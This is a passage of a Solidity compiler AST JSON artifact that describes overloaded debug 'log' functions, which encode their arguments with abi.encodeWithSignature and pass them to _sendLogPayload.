(bytes memory) view"}},"id":22652,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"57648:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22653,"nodeType":"ExpressionStatement","src":"57648:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"57572:3:14","parameters":{"id":22641,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22634,"mutability":"mutable","name":"p0","nameLocation":"57584:2:14","nodeType":"VariableDeclaration","scope":22655,"src":"57576:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22633,"name":"address","nodeType":"ElementaryTypeName","src":"57576:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22636,"mutability":"mutable","name":"p1","nameLocation":"57602:2:14","nodeType":"VariableDeclaration","scope":22655,"src":"57588:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22635,"name":"string","nodeType":"ElementaryTypeName","src":"57588:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22638,"mutability":"mutable","name":"p2","nameLocation":"57611:2:14","nodeType":"VariableDeclaration","scope":22655,"src":"57606:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22637,"name":"uint","nodeType":"ElementaryTypeName","src":"57606:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":22640,"mutability":"mutable","name":"p3","nameLocation":"57620:2:14","nodeType":"VariableDeclaration","scope":22655,"src":"57615:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22639,"name":"uint","nodeType":"ElementaryTypeName","src":"57615:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"57575:48:14"},"returnParameters":{"id":22642,"nodeType":"ParameterList","parameters":[],"src":"57638:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22678,"nodeType":"FunctionDefinition","src":"57750:192:14","nodes":[],"body":{"id":22677,"nodeType":"Block","src":"57834:108:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c75696e742c737472696e6729","id":22669,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"57884:33:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_5d1365c94e45374e792b786edc547d0277c401db24a4303b5dd1e8a93df0829e","typeString":"literal_string \"log(address,string,uint,string)\""},"value":"log(address,string,uint,string)"},{"id":22670,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22657,"src":"57919:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22671,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22659,"src":"57923:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22672,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22661,"src":"57927:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":22673,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22663,"src":"57931:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5d1365c94e45374e792b786edc547d0277c401db24a4303b5dd1e8a93df0829e","typeString":"literal_string \"log(address,string,uint,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":22667,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"57860:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22668,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"57864:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"57860:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22674,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"57860:74:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22666,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"57844:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22675,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"57844:91:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22676,"nodeType":"ExpressionStatement","src":"57844:91:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"57759:3:14","parameters":{"id":22664,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22657,"mutability":"mutable","name":"p0","nameLocation":"57771:2:14","nodeType":"VariableDeclaration","scope":22678,"src":"57763:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22656,"name":"address","nodeType":"ElementaryTypeName","src":"57763:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22659,"mutability":"mutable","name":"p1","nameLocation":"57789:2:14","nodeType":"VariableDeclaration","scope":22678,"src":"57775:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22658,"name":"string","nodeType":"ElementaryTypeName","src":"57775:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22661,"mutability":"mutable","name":"p2","nameLocation":"57798:2:14","nodeType":"VariableDeclaration","scope":22678,"src":"57793:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22660,"name":"uint","nodeType":"ElementaryTypeName","src":"57793:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":22663,"mutability":"mutable","name":"p3","nameLocation":"57816:2:14","nodeType":"VariableDeclaration","scope":22678,"src":"57802:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22662,"name":"string","nodeType":"ElementaryTypeName","src":"57802:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"57762:57:14"},"returnParameters":{"id":22665,"nodeType":"ParameterList","parameters":[],"src":"57834:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22701,"nodeType":"FunctionDefinition","src":"57948:181:14","nodes":[],"body":{"id":22700,"nodeType":"Block","src":"58023:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c75696e742c626f6f6c29","id":22692,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"58073:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_7e250d5bf3975165268961c2b6dbe143f053bed03d903630f547f1fbab28b895","typeString":"literal_string \"log(address,string,uint,bool)\""},"value":"log(address,string,uint,bool)"},{"id":22693,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22680,"src":"58106:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22694,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22682,"src":"58110:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22695,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22684,"src":"58114:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":22696,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22686,"src":"58118:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7e250d5bf3975165268961c2b6dbe143f053bed03d903630f547f1fbab28b895","typeString":"literal_string \"log(address,string,uint,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":22690,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"58049:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22691,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"58053:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"58049:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22697,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"58049:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22689,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"58033:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22698,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"58033:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22699,"nodeType":"ExpressionStatement","src":"58033:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"57957:3:14","parameters":{"id":22687,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22680,"mutability":"mutable","name":"p0","nameLocation":"57969:2:14","nodeType":"VariableDeclaration","scope":22701,"src":"57961:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22679,"name":"address","nodeType":"ElementaryTypeName","src":"57961:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22682,"mutability":"mutable","name":"p1","nameLocation":"57987:2:14","nodeType":"VariableDeclaration","scope":22701,"src":"57973:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22681,"name":"string","nodeType":"ElementaryTypeName","src":"57973:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22684,"mutability":"mutable","name":"p2","nameLocation":"57996:2:14","nodeType":"VariableDeclaration","scope":22701,"src":"57991:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22683,"name":"uint","nodeType":"ElementaryTypeName","src":"57991:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":22686,"mutability":"mutable","name":"p3","nameLocation":"58005:2:14","nodeType":"VariableDeclaration","scope":22701,"src":"58000:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22685,"name":"bool","nodeType":"ElementaryTypeName","src":"58000:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"57960:48:14"},"returnParameters":{"id":22688,"nodeType":"ParameterList","parameters":[],"src":"58023:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22724,"nodeType":"FunctionDefinition","src":"58135:187:14","nodes":[],"body":{"id":22723,"nodeType":"Block","src":"58213:109:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c75696e742c6164647265737329","id":22715,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"58263:34:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_dfd7d80b4150ea6b0b2772758d6e66d8c7f141bfd7de11119a8fee2a703664e4","typeString":"literal_string \"log(address,string,uint,address)\""},"value":"log(address,string,uint,address)"},{"id":22716,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22703,"src":"58299:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22717,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22705,"src":"58303:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22718,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22707,"src":"58307:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":22719,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22709,"src":"58311:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_dfd7d80b4150ea6b0b2772758d6e66d8c7f141bfd7de11119a8fee2a703664e4","typeString":"literal_string \"log(address,string,uint,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":22713,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"58239:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22714,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"58243:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"58239:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22720,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"58239:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22712,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"58223:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22721,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"58223:92:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22722,"nodeType":"ExpressionStatement","src":"58223:92:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"58144:3:14","parameters":{"id":22710,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22703,"mutability":"mutable","name":"p0","nameLocation":"58156:2:14","nodeType":"VariableDeclaration","scope":22724,"src":"58148:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22702,"name":"address","nodeType":"ElementaryTypeName","src":"58148:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22705,"mutability":"mutable","name":"p1","nameLocation":"58174:2:14","nodeType":"VariableDeclaration","scope":22724,"src":"58160:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22704,"name":"string","nodeType":"ElementaryTypeName","src":"58160:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22707,"mutability":"mutable","name":"p2","nameLocation":"58183:2:14","nodeType":"VariableDeclaration","scope":22724,"src":"58178:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22706,"name":"uint","nodeType":"ElementaryTypeName","src":"58178:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":22709,"mutability":"mutable","name":"p3","nameLocation":"58195:2:14","nodeType":"VariableDeclaration","scope":22724,"src":"58187:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22708,"name":"address","nodeType":"ElementaryTypeName","src":"58187:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"58147:51:14"},"returnParameters":{"id":22711,"nodeType":"ParameterList","parameters":[],"src":"58213:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22747,"nodeType":"FunctionDefinition","src":"58328:192:14","nodes":[],"body":{"id":22746,"nodeType":"Block","src":"58412:108:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c737472696e672c75696e7429","id":22738,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"58462:33:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_a14fd039ae37435afa9d1674d6d48b37ffbd5da4cd9166a3f673f5f0db01a4c5","typeString":"literal_string \"log(address,string,string,uint)\""},"value":"log(address,string,string,uint)"},{"id":22739,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22726,"src":"58497:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22740,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22728,"src":"58501:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22741,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22730,"src":"58505:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22742,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22732,"src":"58509:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a14fd039ae37435afa9d1674d6d48b37ffbd5da4cd9166a3f673f5f0db01a4c5","typeString":"literal_string \"log(address,string,string,uint)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":22736,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"58438:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22737,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"58442:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"58438:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22743,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"58438:74:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22735,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"58422:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22744,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"58422:91:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22745,"nodeType":"ExpressionStatement","src":"58422:91:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"58337:3:14","parameters":{"id":22733,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22726,"mutability":"mutable","name":"p0","nameLocation":"58349:2:14","nodeType":"VariableDeclaration","scope":22747,"src":"58341:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22725,"name":"address","nodeType":"ElementaryTypeName","src":"58341:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22728,"mutability":"mutable","name":"p1","nameLocation":"58367:2:14","nodeType":"VariableDeclaration","scope":22747,"src":"58353:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22727,"name":"string","nodeType":"ElementaryTypeName","src":"58353:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22730,"mutability":"mutable","name":"p2","nameLocation":"58385:2:14","nodeType":"VariableDeclaration","scope":22747,"src":"58371:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22729,"name":"string","nodeType":"ElementaryTypeName","src":"58371:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22732,"mutability":"mutable","name":"p3","nameLocation":"58394:2:14","nodeType":"VariableDeclaration","scope":22747,"src":"58389:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22731,"name":"uint","nodeType":"ElementaryTypeName","src":"58389:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"58340:57:14"},"returnParameters":{"id":22734,"nodeType":"ParameterList","parameters":[],"src":"58412:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22770,"nodeType":"FunctionDefinition","src":"58526:203:14","nodes":[],"body":{"id":22769,"nodeType":"Block","src":"58619:110:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c737472696e672c737472696e6729","id":22761,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"58669:35:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_5d02c50b371ad9a1f5c638dc99b5e9b545011f148f0be5233c530a4b2a12665c","typeString":"literal_string \"log(address,string,string,string)\""},"value":"log(address,string,string,string)"},{"id":22762,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22749,"src":"58706:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22763,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22751,"src":"58710:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22764,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22753,"src":"58714:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22765,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22755,"src":"58718:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5d02c50b371ad9a1f5c638dc99b5e9b545011f148f0be5233c530a4b2a12665c","typeString":"literal_string \"log(address,string,string,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":22759,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"58645:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22760,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"58649:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"58645:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22766,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"58645:76:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22758,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"58629:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22767,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"58629:93:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22768,"nodeType":"ExpressionStatement","src":"58629:93:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"58535:3:14","parameters":{"id":22756,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22749,"mutability":"mutable","name":"p0","nameLocation":"58547:2:14","nodeType":"VariableDeclaration","scope":22770,"src":"58539:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22748,"name":"address","nodeType":"ElementaryTypeName","src":"58539:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22751,"mutability":"mutable","name":"p1","nameLocation":"58565:2:14","nodeType":"VariableDeclaration","scope":22770,"src":"58551:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22750,"name":"string","nodeType":"ElementaryTypeName","src":"58551:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22753,"mutability":"mutable","name":"p2","nameLocation":"58583:2:14","nodeType":"VariableDeclaration","scope":22770,"src":"58569:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22752,"name":"string","nodeType":"ElementaryTypeName","src":"58569:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22755,"mutability":"mutable","name":"p3","nameLocation":"58601:2:14","nodeType":"VariableDeclaration","scope":22770,"src":"58587:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22754,"name":"string","nodeType":"ElementaryTypeName","src":"58587:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"58538:66:14"},"returnParameters":{"id":22757,"nodeType":"ParameterList","parameters":[],"src":"58619:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22793,"nodeType":"Functi